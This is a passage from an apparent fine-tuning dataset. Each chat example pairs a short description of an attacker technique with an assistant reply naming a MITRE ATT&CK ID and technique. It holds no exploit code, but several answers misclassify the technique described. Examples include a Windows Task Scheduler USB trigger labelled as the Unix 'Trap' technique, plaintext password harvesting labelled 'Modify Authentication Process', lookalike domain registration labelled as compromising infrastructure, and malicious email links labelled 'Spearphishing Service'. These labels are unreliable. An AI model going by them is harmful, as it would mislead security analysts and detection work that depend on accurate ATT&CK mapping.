                "role": "user",
                "content": "The attacker leverages the Unix shell to chain together `find`, `grep`, and `awk` commands to locate and extract configuration files containing passwords."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the registry key HKLM\\Software\\Policies to discover applied Group Policies."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised admin changes the PAM policy to allow password-less login for accounts matching a specific UID range."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a VPN exploit to gain unauthorized access to a network by exploiting vulnerabilities in virtual private network (VPN) software."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware applies gzip compression followed by Base64 encoding to large data bundles prior to uploading them via FTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses the Alibaba Cloud console to spin up a new ECS instance, deploying a backdoor during boot."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deploys a counterfeit Windows Server as a rogue domain controller within the target network to capture authentication hashes from domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal obtains GitHub personal access token from a compromised developer's .gitconfig file."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a trap using the Windows Task Scheduler that executes a script when a USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised Microsoft System Center Configuration Manager (SCCM) server to push a malicious PowerShell script to all domain-joined Windows workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor extracts the SAM database, re‑encrypts the password hashes using a reversible algorithm, and writes them back to allow decryption during future logins."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script reads the browser's cache directory to retrieve cached page content and associated metadata."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through kernel-mode driver abuse, the attacker rewrites the KernelCallbackTable to hijack normal execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a credential‑dumping tool to extract certificate private keys and then re‑issued authentication tokens that appear legitimate to the hybrid identity system."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved executing \"launchctl remove\" on a legitimate launch agent to hide the presence of a malicious service installed via launchctl load."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Windows Credential Manager API to enumerate saved web and application passwords on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates all running processes with NtQuerySystemInformation before selecting a target for injection."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a script that pulls the 'passwords.json' file from the Brave browser and decodes the entries."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses ICMP echo request (ping) flooding to saturate the network and deny legitimate users access to resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom utility, the adversary deletes the MOTW metadata on a malicious executable before execution, preventing Windows from showing the security prompt."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a credential dumping tool that resides only in RAM by using the \"memfd_create\" syscall on Linux, preventing any file system traces."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries the corporate directory API without authentication to retrieve employee name records."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a script that programmatically deletes the Mark of the Web ADS from a DLL before loading it into a process."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing Trojan accesses the system Keychain to retrieve stored SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant spreads by copying itself onto any detected removable media and modifying autorun.inf to trigger execution on the next connection."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries craft an HTML document with a data URI containing a compressed malicious binary, which is reconstructed client‑side using JavaScript’s Blob and download APIs."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates the system firmware to turn off the TPM, effectively disabling crypto hardware for key protection."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a memory scrape of the securityd service to obtain stored credentials for auto‑login."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"docker ps -a\" to list all containers on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the VPN's NAT traversal feature to route malicious traffic through the corporate network perimeter."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors repeatedly attempt a list of common passwords against a large number of user accounts in a short time window."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group exfiltrates files using a custom exfiltration tool that leverages the SMB protocol."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker edited the IAM role attached to a cloud compute instance, granting elevated permissions to a rogue account."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool injects arbitrary code into the address space of a sandboxed process to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a popular npm package by adding a backdoor, causing downstream projects that depend on it to inherit the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated threat actor plants a malicious ISO image on a burned CD that, when inserted into a victim's computer, triggers the execution of a privileged install script."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary inserts Unicode right-to-left override characters into file names to make them appear benign when displayed, enabling masquerading."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages exfiltrated data by writing it to a temporary location on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker secures a compromised IoT device to use as a foothold within target networks."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses Extra Window Memory Injection to inject a payload into the message handling thread of a trusted application, leveraging the extra window data structure."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Java Runtime exec method from a malicious Java applet to run system commands."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables the DHCP Client service to interfere with network configuration and force reconnection attempts."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group configured UltraVNC to create a persistent backdoor for remote control of the target system."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan automatically replicates onto attached SD cards, allowing it to spread to other machines when the card is swapped."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'ipconfig /all' command to list all network interfaces and their IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs account takeover by resetting the multi‑factor authentication on a privileged account."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'Compress-Archive' PowerShell cmdlet to bundle data for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload tampered with the system’s integrity monitoring tool, rendering it ineffective."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the public homepage of a compromised website to display a political message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor enumerates and copies credential caches from the system's keyring files."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromised a public-facing web server by exploiting an outdated PHP vulnerability, then uploaded a web shell to maintain persistent control."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on a victim's device intercepts push notification approvals for multi-factor authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script searches for and exfiltrates private keys from Windows certificate stores."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain that closely resembles the target's brand and uses it for credential‑stealing login portals."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates the deployment of containers with malicious payloads using Terraform scripts targeting cloud environments."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses WMI queries to detect virtualization by checking the Win32_ComputerSystem Model property for virtual machine identifiers."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends targeted emails containing malicious links that direct victims to a credential‑harvesting website."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages LDAP queries to programmatically create a domain user with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script alters WebSocket frames, injecting commands that compromise the client application."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mmc.exe as a host, the malware loads a rogue component, allowing execution of further malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a serverless webhook endpoint in a SaaS application, allowing the attacker to execute commands in the provider's runtime environment."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a credential dumping tool, the adversary harvests clear‑text passwords from memory and subsequently uses them to log into multiple systems."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is embedded in a compromised web page and executes JavaScript that calls system commands via the ActiveXObject \"WScript.Shell\"."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through improper ACL configuration on a service's file, the attacker is able to modify the service binary, allowing execution of arbitrary code when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an RDP session, the compromised system loads a tampered termsrv.dll, allowing the attacker to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the Windows Registry to collect SAM and SYSTEM hives for extracting password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a script that examines the Windows Event Log for recent logon events to confirm a real user is present."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool enumerates and extracts private keys stored in cloud configuration files for unauthorized cloud access."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers dropped a malicious payload that scans for documents and encrypts them, then leaves a ransom note demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group stages their payload by uploading a malicious DLL through a compromised SMB share."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary intercepts and modifies TLS traffic to inject forged session identifiers, granting them access to the victim's web session."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group uses COM's IClassFactory interface to instantiate malicious objects within a privileged process, bypassing security controls via inter-process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a vulnerability in a software component to gain elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers aggregate information about the target’s supply chain relationships, including third‑party logistics and manufacturing partners."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit accesses the Windows Credential Manager via the Credential Provider interface to steal user passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the Windows Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services to list service names and configurations."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
